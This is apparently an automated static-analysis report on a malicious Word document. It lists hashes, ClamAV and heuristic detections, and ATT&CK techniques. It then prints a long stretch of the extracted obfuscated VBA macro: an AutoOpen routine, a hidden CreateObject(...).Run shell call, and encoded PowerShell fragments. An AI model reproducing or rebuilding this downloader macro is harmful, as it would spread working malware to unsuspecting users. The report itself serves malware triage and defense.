Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 45522c70fb056605…

MALICIOUS

Office (OLE)

213.0 KB Created: 2018-03-23 18:12:00 Authoring application: Microsoft Office Word First seen: 2018-03-30
MD5: 52b9f372231de91bc8f5012766580123 SHA-1: ffd8258308801518dde2762a499505f978713d46 SHA-256: 45522c70fb056605a7661aa8a3f15183032ecc59c65cb30579bec9def7024de6
192 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a Microsoft Office document containing a VBA macro. Heuristics indicate the presence of an AutoOpen macro that uses CreateObject, suggesting an attempt to execute code. The macro itself appears to be obfuscated but the presence of a 'macros.bas' file and the ClamAV detection 'Doc.Malware.Emodldr-10025032-0' strongly suggest it's designed to download and execute a secondary payload.

Heuristics 8

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    End Select
CreateObject(IsqTbnvpAoPOzX).Run WSZjioLz + Chr(VBA.vbKeyC) + cjjpmzIr + EABwAcEPq + NIhNkukOhCm, vbHide
Select Case DqZXX
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "mYmBuVraUMdvRj"
Sub AutoOpen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 62280 bytes
SHA-256: 0bc899e7cfafcb042c9b9a1ef742b2f03bbb51491fbb87834de154025f622c29
Detection
ClamAV: No threats found
Obfuscation or payload: likely
707 of 1175 identifiers look randomly generated (e.g. 'iNXuIAYQA4AGMANgA5AGIAYwAxAGYAOAA3ADAAYw') — consistent with name-mangling obfuscation. Carved artifact contains 22 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ffbQisniUrjiz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "qdkzrJuDRRowV"
Function NjjCiJMRizzmkS()
On Error Resume Next
Select Case zkkjK
         Case 20497
            avEiC = Log(48878)
            UuGEnJ = Int(zVVHXJ)
            QAwZhB = 58057
      End Select
      If EraOTf Or 39746 Then
         tnNHsn = CLng(OiWiAO)
End If
pnanwdf = GKwYR("W5ui4iADkANgAwAGUAYQA0AGMAYgAzADMANwAwi", 6, 32)
Select Case YmASJ
         Case 91143
            FUXLi = Log(81323)
            dZpJi = Int(bUJCqd)
            iqKXd = 52664
      End Select
      If SnNBVZ Or 71290 Then
         TpvOzf = CLng(IhUWln)
End If
Select Case QjrDlk
         Case 44361
            wCKCXZ = Log(77464)
            kscro = Int(zBPzfj)
            NlLdwj = 32359
      End Select
      If Xvwak Or 33439 Then
         XcZoLA = CLng(VPnETm)
End If
hwBzAFwdwQ = GKwYR("iSOiUOZQA5AGEAZQA4ADIAYgA3ADQANgBiAGMAOAAwADIAMQBkADQAOABhADgAOAAwAGQAYgA4ADEAMgBhADQANgBjADcAOAA2ADIAMgBhAGIAZABmADgAZqD", 7, 113)
Select Case olEqui
         Case 31737
            YZqXzN = Log(93008)
            QEjBim = Int(qUvRPw)
            uQihiK = 83582
      End Select
      If pifYDA Or 96514 Then
         CiZiWz = CLng(kLBLOW)
End If
Select Case niPOO
         Case 15443
            lhViI = Log(73459)
            wsGAiV = Int(IZXFj)
            DzFGT = 66909
      End Select
      If KUijZD Or 90561 Then
         zUAESu = CLng(NWDlIu)
End If
Witntfjj = GKwYR("hNigBmAGQAMwAzADkAMwA1AGQAYwA5ADgAOAA3ADMANwA5ADAAYQBiADAAMQBkADkANwAwAGYAYwA3ADUAMQBkADMAMwA3ADAAMgAxADgAMAA1AGUAMQA4AGUAYgAwADgAMAAxAGEANABsmGs4", 4, 138)
Select Case EsIhHU
         Case 72890
            OOZLQc = Log(28399)
            biacI = Int(WANGO)
            iDiZff = 30003
      End Select
      If arwaAY Or 11561 Then
         fGdMwz = CLng(GhSWzW)
End If
Select Case iqhkC
         Case 35726
            jCKWWP = Log(56025)
            KXRoXM = Int(YGPDGY)
            kCOiwH = 92577
      End Select
      If nBtbzC Or 94606 Then
         GjlzBQ = CLng(njriS)
End If
ccWGXkmTiiQ = GKwYR("jdJKd,iAzAGUAMAA4ADIAOQAzADQAMwBmAGUANQA2ADUAYgBjADAAMQBhADkANwAyADQAOQA3AGUAMQAxAGUAOABmAGMAMAA5Asj", 8, 91)
Select Case UwLJDS
         Case 15566
            nTVki = Log(68379)
            vvNza = Int(JWVad)
            oaCFc = 57910
      End Select
      If TChSv Or 69801 Then
         pSNPMX = CLng(zskdhr)
End If
Select Case QLIIlH
         Case 19633
            IDJPa = Log(64225)
            oGJPBc = Int(JONWmI)
            uJOOt = 79565
      End Select
      If LKzNJm Or 38478 Then
         KWXmAT = CLng(LdwwWB)
End If
RdmwNcJXU = GKwYR("q@ZuJmADgAYjk", 6, 6)
Select Case vOUCON
         Case 87879
            Bhszcv = Log(22681)
            rpZOE = Int(zAHoMz)
            SvSlRP = 67613
      End Select
      If HXGBPV Or 82250 Then
         BrmAaE = CLng(znqFP)
End If
Select Case GhjDm
         Case 35640
            Uavuv = Log(81825)
            ZaMMX = Int(fHJQF)
            XvjOf = 91384
      End Select
      If RUTAD Or 51442 Then
         LGYCb = CLng(NsLwv)
End If
CkwtpKNlTvC = GKwYR("QTwwDBkAGQAMwAzADUAMAA3ADkAZgAzADYAMQBlAGIAOAA1ADMAZgBmADkANAA1ADQANQBlAGMAZgA0AGEAMABkADMANABiADcA'ur", 6, 95)
Select Case AzhzY
         Case 37565
            VuVkLP = Log(97778)
            YCFaJ = Int(BKZjHo)
            CiknS = 13085
      End Select
      If ZkUvjF Or 9887 Then
         pVMmch = CLng(qFWmnz)
End If
Select Case vuORfC
         Case 82612
            kNjinw = Log(25164)
            TWKjk = Int(hjzrHo)
            XnfPl = 76671
      End Select
      If KBZrF Or 57560 Then
         ruXsPc = CLng(rpSzHP)
End If
jnhEITjG = GKwYR("DLVQBjADAAZQAyADIAZgBiADYAMQA0ADQANQBlAGYAMwAxADUAMgAwAGYAOAAwADAAMQBkAGIAZABiADQAiz.", 4, 79)
Select Case iTouC
         Case 44556
            ZBTCJ = Log(1057)
            SzTaG = Int(poZwsM)
            jzMPdY = 99570
      End Select
      If hlzDGf Or 33437 Then
         EqGbZY = CLng(wYBdWp)
End If
Select Case HjpUpQ
         Case 19455
            TWlpa = Log(47637)
            wOOfIi = Int(RinWfC)
            qSCrR = 28802
      End Select
      If EDszv Or 45310 Then
         ApXVR = CLng(siBvBF)
End If
jGVnm = GKwYR("Sz.I,cAxADUANwA1AGEAMQAxADIAMQAzADEAZgA3ADQANQBhAGMAMQAwAGYAZAA5ADMAMAA2ADcAOAAxAGQAZQAzAGUAMwAyAGQANwAwAGYAYwA4nX", 7, 106)
Select Case SKhTlH
         Case 16389
            EiwIJQ = Log(84515)
            WfNHV = Int(pQBNK)
            IRGpM = 66640
      End Select
      If tWYNnP Or 55450 Then
         GYMHcA = CLng(fPowK)
End If
Select Case irciZk
         Case 19543
            bYZYJ = Log(1072)
            tkIFL = Int(fcXahX)
            sHjdi = 54148
      End Select
      If qVhji Or 46787 Then
         wFsrbj = CLng(sXYwOn)
End If
MYwEUGiwWI = GKwYR("zhADQAMAA4AGIAZQBkAGIAYgAwAGIAOQBiAGYANABlAGQAMABmADUAYQAyAGEAMQAzADIAYQBmADkAYgAxADgAMAAxAGQANwBlADUAT6B8YSv", 2, 101)
Select Case PEHrM
         Case 2392
            Tpwqh = Log(99483)
            XDcXn = Int(jWfjG)
            NzjKfT = 77483
      End Select
      If bQaoVX Or 40071 Then
         QvBukh = CLng(Uwabi)
End If
Select Case hbFVE
         Case 7569
            WmRYE = Log(60343)
            GEzANi = Int(abbURA)
            FpwQa = 38792
      End Select
      If XPQlkN Or 97040 Then
         PvMhz = CLng(XHQMEc)
End If
zMRjF = GKwYR("idK5AGMAZAA1ADgANAAyAGQAMAA1AGQAZgA4AGMAYwA2AGYANwA1ADkANAAyAGQAZgA1ADUAMQBmADUAYQA2AGUANABjAGEAMgBlAGMAMAA0AGQAOQAxADgAOAAwADQANgBhADUAYgAyADMAOABUsB3ob", 4, 144)
Select Case AiAnD
         Case 94905
            zUIiL = Log(4158)
            ohOcQd = Int(LjHjC)
            ihjDVr = 46095
      End Select
      If lPwhQ Or 65476 Then
         vniWv = CLng(iaBjnw)
End If
Select Case WOAvVI
         Case 19228
            JqwUzv = Log(60719)
            rzHiCC = Int(SRCzww)
            JEQNNa = 75707
      End Select
      If AQvUh Or 4868 Then
         OINEhi = CLng(YjsTa)
End If
CjkLzO = GKwYR("XJvTDkANABmADMAYwA3ADEAZAA0AGYAYwA1AGYAMAA3AGYANgAwADYAMgA4ADAAMwA4ADcAMQA2ADMAMAAyADgANgAzAGMANgAxAGEANwBkADgANAA3ADEAZgBkT0Wc", 5, 119)
Select Case dTJLBj
         Case 64060
            DlhFGk = Log(97707)
            niVljD = Int(ltQuAf)
            VuAFch = 12214
      End Select
      If SBVoKW Or 61413 Then
         awJhsJ = CLng(ozaZYR)
End If
Select Case NAQGw
         Case 5016
            RRoBV = Log(10383)
            vnazK = Int(BBAik)
            tDMavl = 58553
      End Select
      If FWiisN Or 48313 Then
         ZFtjEm = CLng(tdiInP)
End If
nutBUFqra = GKwYR("uBkAYwBhAGQAOQBiADEANQBiADYAOQAwAGIAOQA1ADAAZQBhAGUAOAAzAGUANwBmADUAMQAwADAAMQAyAGYAZqPAcGJT", 3, 83)
Select Case zlVPJ
         Case 99538
            rsQrU = Log(21053)
            JsFzq = Int(bvkAd)
            MSwRc = 83283
      End Select
      If tWsMc Or 7338 Then
         iiMds = CLng(bRklZL)
End If
Select Case FzROHU
         Case 64273
            FvzNv = Log(38742)
            zizdvs = Int(BTnFD)
            zSJYCp = 69406
      End Select
      If bwkDJ Or 83157 Then
         nWrkmp = CLng(JoPjq)
End If
izjfYZHuF = GKwYR("XcUd6A4AGUAYQBmADYAMQA1ADMANABiADYAZgBjAGIAMgA3ADUAZQBjADUAYQBlADkANgBmADgAYQBkAGQANABiADQAOQAzADIAZABkAGEAYgBkADIAYgBhADMAZQAxAGIAOAAzAGYAMQBBYi", 6, 137)
Select Case vwbCR
         Case 7857
            nmbLF = Log(69335)
            YfNZl = Int(bNwvV)
            oYIVJ = 36292
      End Select
      If idcWim Or 11107 Then
         pBvjiC = CLng(Adbpz)
End If
Select Case qcbYbT
         Case 22327
            TLwSCu = Log(43129)
            ZYLwvR = Int(OiPbK)
            kASzcZ = 20278
      End Select
      If cpWbww Or 77741 Then
         jVCVX = CLng(uSDtZS)
End If
HEMzCVni = GKwYR("KNYMsXABjAGEANwAwAGIAOAAxAGYAZgA1AGEANwBhAGMAMAAzAGQAYoI", 7, 48)
Select Case tMsBX
         Case 67450
            jSZVL = Log(61226)
            joWzSV = Int(wtZoCq)
            zwjAs = 64483
      End Select
      If ciaZPd Or 84889 Then
         wjJsz = CLng(ijuGw)
End If
Select Case rjpQJp
         Case 1871
            Vormco = Log(71837)
            uWNBmE = Int(RGJHXA)
            ZkmTdu = 83705
      End Select
      If qUJZfm Or 62426 Then
         zIMCb = CLng(GlEnv)
End If
DhZSjcA = GKwYR("iOsXlAGIAZgA1AGUANgBjAGUAZQBiAGQANAA1ADYAYwBlADMAZABmADQAMgA4ADgAMAAyAGMANABhADgAZgA1ADAANwAyADcAOAA0ADAAMwA5AGQAZgBlAGYAZgA0ADAANQA4AGUANgAyAGIAMAA3ADYAMgA4AGIAMAof", 5, 159)
Select Case KAidf
         Case 45248
            HzIKr = Log(78342)
            jsrMZ = Int(lFLwLz)
            RdBOq = 96701
      End Select
      If jpmju Or 15637 Then
         ZBpzU = CLng(bbOts)
End If
Select Case pDzFJw
         Case 33896
            aXOqk = Log(8543)
            ZwiaG = Int(hSlOAT)
            LYkjFY = 91461
      End Select
      If kVnaI Or 97059 Then
         MOHVDK = CLng(aOSjH)
End If
WWlpTnspKiY = GKwYR("sxAGMAYQAzADQAOQA3AGEANgA0ADkANAA4AGMAYgBjADIANgA5ADIAOQA3AGIAYQBkAGEAMgA2ADQANwA5ADYAZQBlAGQANwAwAGYAZAA4AGIANgBjAGYAZgio4GJC", 2, 119)
Select Case lMqJf
         Case 74559
            CmilLI = Log(1800)
            brAwfo = Int(WHfPU)
            zWQYRn = 37311
      End Select
      If iiuVH Or 82290 Then
         jWJuJ = CLng(zWRibT)
End If
Select Case aYOLW
         Case 35093
            GwkEvp = Log(75998)
            mznfwr = Int(zcjtGm)
            WhcBw = 71201
      End Select
      If oKdkYB Or 94405 Then
         dLabn = CLng(EFEEU)
End If
lYCBjcdWLp = GKwYR("q.zwNjQB", 5, 1)
Select Case bmfcLn
         Case 93679
            CbtsCD = Log(96520)
            JvXqnb = Int(VSfzrS)
            YwbvFC = 59547
      End Select
      If YkEWU Or 3774 Then
         iYkTQ = CLng(IhiBAo)
End If
Select Case nSiplB
         Case 25899
            jTpdAt = Log(86309)
            VEIMWO = Int(TYTJz)
            nzDup = 38968
      End Select
      If IEHjf Or 87817 Then
         HjujL = CLng(LLPFj)
End If
wuSndsPli = GKwYR("I.AGUAYgBmADEAZgBhADcAMgBkADUAOAA1A76oskfv", 3, 33)
Select Case ZCKRS
         Case 85223
            ovVmi = Log(20134)
            YURwZ = Int(cqIkdm)
            zzbizO = 56819
      End Select
      If RznpqR Or 9887 Then
         lzMWmd = CLng(uTfzjj)
End If
Select Case mOIHZi
         Case 51291
            DzmRCU = Log(57413)
            qCkitM = Int(iUZml)
            noVmP = 20251
      End Select
      If DMzIu Or 79863 Then
         zwWWBc = CLng(cfOzD)
End If
osvJPaqJDh = GKwYR("mwJQABXoY", 4, 2)
Select Case Kinzrp
         Case 46287
            IRimK = Log(15201)
            iEckDj = Int(fzClI)
            KIGmLk = 21136
      End Select
      If YzQER Or 29247 Then
         hrjrUb = CLng(amOztG)
End If
Select Case XcHKc
         Case 32011
            TOspz = Log(27811)
            YzWzf = Int(PYfiuh)
            oVMZbR = 38108
      End Select
      If XbTkc Or 7336 Then
         DzfPU = CLng(HXjEcK)
End If
uELPSQaLzR = GKwYR("QcVvH4AGYAZQBiADQAMQAyADEANA@u", 6, 23)
Select Case wwdQul
         Case 24748
            CTNiuq = Log(2248)
            DMDhp = Int(hziNw)
            zcVwGa = 43849
      End Select
      If zDqqqb Or 1953 Then
         RhapGw = CLng(sZcDcP)
End If
Select Case MIjotW
         Case 60873
            jntcPG = Log(24295)
            jmzZdO = Int(DYzLNI)
            vRRwJ = 8121
      End Select
      If AOoPz Or 27864 Then
         NZOOcF = CLng(nOjEz)
End If
iNicifhat = GKwYR("9zzY7, ( [rUntiMe.INTeropservIceS.MArshAl]::ptRTostringbsTR( [rUntIME.InTEROPserVICES.MaRsHAL]SE", 7, 88)
Select Case cPvLSi
         Case 41138
            bKQwIm = Log(66694)
            KKjAk = Int(zjzkCz)
            CkuMW = 55189
      End Select
      If TdzOtz Or 72424 Then
         wRUTi = CLng(EVYzz)
End If
Select Case ZszJzi
         Case 50196
            ibGPXP = Log(15389)
            hhwkRW = Int(dbJUpE)
            EKWEj = 80799
      End Select
      If QiiXRI Or 98023 Then
         kwwLl = CLng(lzzUD)
End If
HhzsDwRZVj = GKwYR("dA0ADMAOAAyAGMAYQA2AGIAMQA0ADAANAAzAGMAOQBjADUAYQBhAGIAMgA3ADgAMAA2ADkAYQA5ADcAZgBkAGYANwA4ADcANwBlAGEAYQAzAGYAMAA3AGIAOQA4ADgAMAA5ADAAMgBlADEAMAA5AGQAYQAzAGQANTjioio", 2, 159)
Select Case ThqNk
         Case 66965
            XwsSf = Log(34589)
            QwPNA = Int(marKW)
            TzTKXk = 61869
      End Select
      If NisUmi Or 77295 Then
         HrjSta = CLng(mklTqT)
End If
Select Case nwdjk
         Case 47339
            jBlbO = Log(48384)
            uAMpI = Int(rAIljK)
            CblXOC = 16046
      End Select
      If bOTDw Or 16896 Then
         VaJCkL = CLng(pjcmDR)
End If
dJvSSVTWku = GKwYR("WdXBjAGQAMgBlAGIAOQBmADkAYgA0ADMAOABkAGQAOQAxAGEANABjADcANgBmADUANQBhAGMAYQBhAGUAMQA1ADUAYQA1AGYANQAwAGB3Tnd", 4, 100)
Select Case przafM
         Case 11052
            OMMQm = Log(35438)
            slKmwi = Int(ciahUl)
            ubwrh = 73502
      End Select
      If UdSwm Or 10198 Then
         wqTZP = CLng(orcRS)
End If
Select Case dTMNnV
         Case 87667
            TPGQp = Log(85697)
            SkdRf = Int(bbwrnh)
            pELpOD = 17059
      End Select
      If UfCRt Or 86456 Then
         WZkqJj = CLng(uvUNj)
End If
OplIHu = GKwYR("Av5JOADMANwA0ADgAMAA2AGUAMwA4ADQAYwAwADgAYQAyAGEAZgA3ADkAMAA4ADIAOQA2ADcAZQA4ADQAYQBlADAANQAxADcAMAA0ADMAOAA1AGUAMb.", 6, 109)
Select Case rQVAo
         Case 25205
            PDRCm = Log(68645)
            wEaAm = Int(iFWHz)
            wiKQV = 2185
      End Select
      If HYDKC Or 55286 Then
         jhTIiD = CLng(bIqVT)
End If
Select Case XUFBsF
         Case 3832
            MXzEHz = Log(22338)
            iGrvUw = Int(oRFWFv)
            walccE = 91084
      End Select
      If wDOTrN Or 88339 Then
         TUfMFq = CLng(OWYdQk)
End If
djDdCLXQc = GKwYR("GZlOV::SEcuresTrinGTOBStR($('76492d1116743f0423413b16050a5345MgB8AGIAMABaAEsAUABnAFIAcgBjADYARwBOADgARgBoAE4ARwBVAC8ASQBMAEEAPQA9AHwAZgBhADIAMQA1ADcAMQA4ADgAZgA0AGEAZQBhADIANQA0ADYAOAATG", 6, 179)
Select Case jwjjYX
         Case 37623
            UHpAJn = Log(63530)
            Hiubm = Int(ZjXIu)
            FEbit = 20078
      End Select
      If SnHoW Or 43122 Then
         zYXEhs = CLng(VQwVIz)
End If
Select Case fkSIzV
         Case 87162
            VcXULh = Log(18981)
            aEDhT = Int(XHoKa)
            tAjNoT = 46463
      End Select
      If NMlWw Or 97070 Then
         NFiqpi = CLng(sTAlK)
End If
pkqGLzIdast = GKwYR("AJ6HB.| COnVERttoYT", 7, 11)
Select Case NLTpv
         Case 517
            UsJfrI = Log(88529)
            NTjlUd = Int(BGUlO)
            IQMDI = 18246
      End Select
      If Bswbw Or 29645 Then
         UvCwj = CLng(iizTAp)
End If
Select Case iEFzId
         Case 11873
            jCToi = Log(83784)
            zmpUcN = Int(bXfuA)
            GCmUf = 55071
      End Select
      If fTPuhs Or 61874 Then
         WPYZi = CLng(bEKUTY)
End If
rwwaiqL = GKwYR("ni kikADQANgBmADMAOAAzADYANwAxAGIANQA3ADUANABlADcANgBlADUANgAyADUANgA1AGMAOQBiADcANQBiADMAYgBmADQANAAyADYAMQBtu", 6, 104)
Select Case diSNcG
         Case 34567
            PzIBLD = Log(60678)
            unjhd = Int(HHURT)
            wczLED = 4765
      End Select
      If wjEmOq Or 13013 Then
         PYXdv = CLng(PhkqzY)
End If
Select Case YUfMhL
         Case 22530
            oqpEc = Log(35098)
            dCWpti = Int(rKGSRb)
            qiivG = 90695
      End Select
      If kkWHON Or 62645 Then
         OSFWjN = CLng(Vpktad)
End If
CMjJlD = GKwYR("9DIANwBjADYAMgBkADUAMAAwADEAZAAzADgANAAyADcAMAA4AGIAOQBkADQAZgBjAGYAOQAzAGUAOAB,SUzG.kZ", 2, 78)
Select Case FOtkM
         Case 95977
            HIWXO = Log(85282)
            AifVR = Int(woNvru)
            IsKMVw = 30633
      End Select
      If INdAih Or 14512 Then
         jzVUd = CLng(HFYIf)
End If
Select Case vTFwQh
         Case 52791
            wBknE = Log(13416)
            kMNpwO = Int(SCIIH)
            thlRW = 53852
      End Select
      If TSEGLI Or 11853 Then
         qlBriz = CLng(tEwGX)
End If
kvqGois = GKwYR("IkkwwzUMAOQAyADIAZgA5AGIAMgA2ADAAYQA2ADQAMAAxADQAYgA3ADQAYQAzADIANQAzADQAMwBhADcAYgA0ADAANQBiADAAMwc", 8, 91)
Select Case ACqIZJ
         Case 29611
            PSRcS = Log(14813)
            IGdnI = Int(cQGQdU)
            ohUQEI = 37012
      End Select
      If Ozlzq Or 28393 Then
         SjPMph = CLng(zTSOvY)
End If
Select Case IdoKOd
         Case 62919
            waTsm = Log(47069)
            SQJBLM = Int(XiIGIG)
            lYAArO = 20788
      End Select
      If fRfcN Or 2997 Then
         jpJUj = CLng(mtbkWN)
End If
tAnPWqUE = GKwYR("TXvwBlADkAYgAyAGQAZQAxADEANgBhADkAMQBlAGYANABiADgAMgA4AGQAYQAzADIAZQA3AGEAMAAzADMAMQAwAGUANABlAGQAOAAiNsXZ", 4, 98)
Select Case JCHVa
         Case 70630
            CTsuK = Log(59061)
            krWjzt = Int(uSwnW)
            wiYPVA = 9279
      End Select
      If cJJCc Or 82363 Then
         QzPKE = CLng(CCEBW)
End If
Select Case XiIAr
         Case 53136
            JCGbtA = Log(29867)
            OcTVN = Int(PAuEOY)
            mdkGm = 95710
      End Select
      If sbOmiw Or 35530 Then
         pwVaN = CLng(TnQQV)
End If
mwStw = GKwYR("QEw3wA4ADEAMgAwADIAZQBkADgAOABjADAAZQAXu", 5, 34)
Select Case IhOvc
         Case 5829
            XYWVHC = Log(42449)
            nNjrOc = Int(LvjoL)
            SqUpQ = 83919
      End Select
      If KNSJaP Or 91041 Then
         TcOXqW = CLng(ajYGdF)
End If
Select Case ioBhQp
         Case 18440
            WwEOff = Log(68254)
            ICRoK = Int(NwMjZl)
            hrPzT = 55130
      End Select
      If LbrGhE Or 55704 Then
         TIWljs = CLng(ijRWi)
End If
FPRkw = GKwYR("vE0ADEANwBjAGMAOAAxAGYAZABhADEANwBiADMAZgA0AGMAMgA5ADcAYQA0AGUAOQBmAGIAMAA1AGYAZQDMI0", 3, 79)
Select Case CUjQXZ
         Case 79118
            oOLDr = Log(24697)
            KKGGTS = Int(EKnCIa)
            jizuR = 17427
      End Select
      If HqJin Or 83198 Then
         tKisfZ = CLng(WLQOI)
End If
Select Case FIMGa
         Case 51715
            CisBBi = Log(21234)
            qvcQn = Int(qcaLE)
            CPzBKQ = 90417
      End Select
      If FcdGvF Or 43708 Then
         TlMRjB = CLng(hoBvMP)
End If
VFsFFDNfmY = GKwYR("aK.jAGYANgA0ADUAMAA3ADcANgBmAq6w", 4, 26)
Select Case lvWrvn
         Case 64393
            rljNCN = Log(35363)
            VhmzJ = Int(wmCBYQ)
            IUihZ = 83115
      End Select
      If kDJjLc Or 89592 Then
         iSwcOT = CLng(OZSWww)
End If
Select Case PWzhpW
         Case 21407
            PmiNs = Log(27160)
            KYziM = Int(zqUwi)
            zKhnpG = 37823
      End Select
      If JEJft Or 50624 Then
         wFiMjj = CLng(tkkMX)
End If
FNotJs = GKwYR("DkG4vrAMwBkADcANwA1ADUAYQBmAGYAYgBjAGIANgA5ADgAYQAzAzz", 7, 46)
Select Case SjilKq
         Case 25613
            izsHY = Log(10944)
            FOUll = Int(Bllku)
            iQzCci = 82089
      End Select
      If daYUCN Or 79439 Then
         FqELi = CLng(oVQbl)
End If
Select Case ZqUJWU
         Case 99958
            DJSzW = Log(15170)
            iuTjBW = Int(htUzMD)
            YVMKT = 38951
      End Select
      If XUtdV Or 52613 Then
         rrKnG = CLng(YvjOSa)
End If
dmJHpWqc = GKwYR("pzBG.7AyAGEAYQBlAGQAZABkADYAOABkADEAOQA5ADIAYQBmAGYAZQA5AGEAZgBhAGUAYgA5ADIAZgA5ADUAMgBhADcAOAAxADQANwA1ADUAZgAwADAAYwBmAGUAZAA4ADkAZgAzADUAOQA4ADkAOQA0ADcAMQBjADcAOABhAGYAMwB@H", 7, 169)
Select Case IboWIw
         Case 69598
            nGmCnM = Log(21523)
            aGfuKq = Int(KMFJz)
            pwstdN = 92109
      End Select
      If WVYrsD Or 71186 Then
         kSjNV = CLng(HnfjS)
End If
Select Case rSUzdh
         Case 77018
            ziwlj = Log(62455)
            YnhPN = Int(iDcBt)
            KniudE = 63441
      End Select
      If ELclw Or 40440 Then
         ikNRPi = CLng(QGjnjk)
End If
PfYEBwNj = GKwYR("ONrDEAYwBlAGIAYgA4AGUAOQA1AGQANgBjADEANgA5AGMANQAxAGQAOQBmAGMAZQBmADcANwA2AGMANwA3ADYAYgAxADgANQBkAGQANgBlADcAZQBhADgAYQAxAGEANgBiADQANgA1AGYANgA0ADUAMABlADkAn@B0", 4, 155)
Select Case Oswkr
         Case 56668
            RkSjz = Log(41200)
            NKwRr = Int(vSPkdG)
            WbOpY = 92947
      End Select
      If pTiBGr Or 25263 Then
         AukQN = CLng(DvjWoK)
End If
Select Case wDnCXA
         Case 6630
            JQqIw = Log(77383)
            PhCBfm = Int(QnIEvw)
            GwnWNw = 69393
      End Select
      If FqsnTW Or 89897 Then
         AadwR = CLng(OwJoQ)
End If
cEDfVrXa = GKwYR("oOjNuADIANQAzADAAOABiADkd4", 6, 19)
Select Case zuTFEs
         Case 5518
            DljpI = Log(47734)
            MJrSLV = Int(HdSzJj)
            oNZiwq = 21594
      End Select
      If nibUd Or 94935 Then
         rnqtu = CLng(pRWFR)
End If
Select Case qvGADw
         Case 59736
            KVfoX = Log(29528)
            Gicsh = Int(WwTQbC)
            FmDwch = 44911
      End Select
      If QtAJQL Or 37712 Then
         jniOaw = CLng(jcwXT)
End If
uMtplkrocS = GKwYR("TADQAMABiADIAYgA5ADQAZQBmADEAYQAzADgAMQA3ADgAMgBmAGIANwA4AGQANQBkADQANgA3AGYANgBlADMAYQBhADkANABlADMANABmADUAZgBmADgAZgBhAGIANgAzADQAZAAwADIAMAA3ADAAMQA5ADgAZgBkADYAYQA4ADQANAA0ADkAZABjADcANABlAGUABLDjDcG4", 2, 196)
Select Case nkcvjA
         Case 46933
            hLqsb = Log(81277)
            biQPCV = Int(dsnXHY)
            ViKDj = 55610
      End Select
      If YOjLv Or 20700 Then
         bsWzI = CLng(FthHQb)
End If
Select Case mMvqG
         Case 78911
            TEtOCz = Log(97839)
            nCwFPo = Int(rlFLh)
            PGcnKs = 33387
      End Select
      If WjzuHS Or 78644 Then
         OimfY = CLng(lcIzS)
End If
jkockFQ = GKwYR("3gBiADkAMQBlAGQANgBkADcAOQBhADAANAA3ADgAMQBmADQAZgBiADgAZgBjADcAOAAwAGQAZQAwADUAOQAwADgAMQBhAGQAZQAzADUAZAA2ADMANABjADUAZgwAcYo3", 2, 121)
Select Case UJkvH
         Case 6247
            wRbrF = Log(64458)
            RVwLIV = Int(hWXZCG)
            UAiLZ = 7251
      End Select
      If NwEmEP Or 82219 Then
         nqhzsk = CLng(jzqzd)
End If
Select Case fLrWqk
         Case 48970
            OjJhlo = Log(78019)
            DEjZL = Int(fdwwQZ)
            zijqJ = 10524
      End Select
      If MJnPIR Or 19002 Then
         FiRPb = CLng(nFKWW)
End If
WMaSQHRtpL = GKwYR(".q.BiADAAMgBmADQANQA4ADgANQA2ADYAMQBlAGEAOQAyADkANABkADIAMgAwAGIANwA3AGUAYgBkADQAOABlADIAYwA0AGYAYQAzAGUANAA2ADEANABhADUAYwAyADIAZAA2AGIAOQA1ADkAMgA1ADcAZAw6O", 4, 152)
Select Case fOYrUA
         Case 85527
            Ccqcj = Log(693)
            tQQRt = Int(PXThAz)
            MYVUmO = 15924
      End Select
      If kvvIZu Or 27780 Then
         nofavt = CLng(uFdLQq)
End If
Select Case sPYOtK
         Case 77624
            iRCTA = Log(51826)
            MHTcai = Int(tqLSt)
            iHkisS = 67769
      End Select
      If WKYor Or 57323 Then
         bcnfr = CLng(sVPRd)
End If
JGiIlOhLIhn = GKwYR("bThAGYAMABmAGEAZQA2ADIAZQAyADYAMQAzAGUANQAxADMAYQBjADgAOQBlADYAOAAyADAANwAxADkAYwBkAGYANgBhAGEAYgA1ADYANwAxAGQAZAAyADkANQAzADgAMwBkAGUAMQA2ADUANQuVJTW", 3, 143)
Select Case lWiDa
         Case 32433
            mahYa = Log(64537)
            apzvoi = Int(FROXn)
            JlmUN = 29680
      End Select
      If wioHz Or 45741 Then
         qatEMw = CLng(wCYTdu)
End If
Select Case KXsqR
         Case 17212
            zIiff = Log(44840)
            SStJH = Int(zBYLU)
            LNffS = 40029
      End Select
      If FmRHps Or 22359 Then
         OdjvhD = CLng(vIcYG)
End If
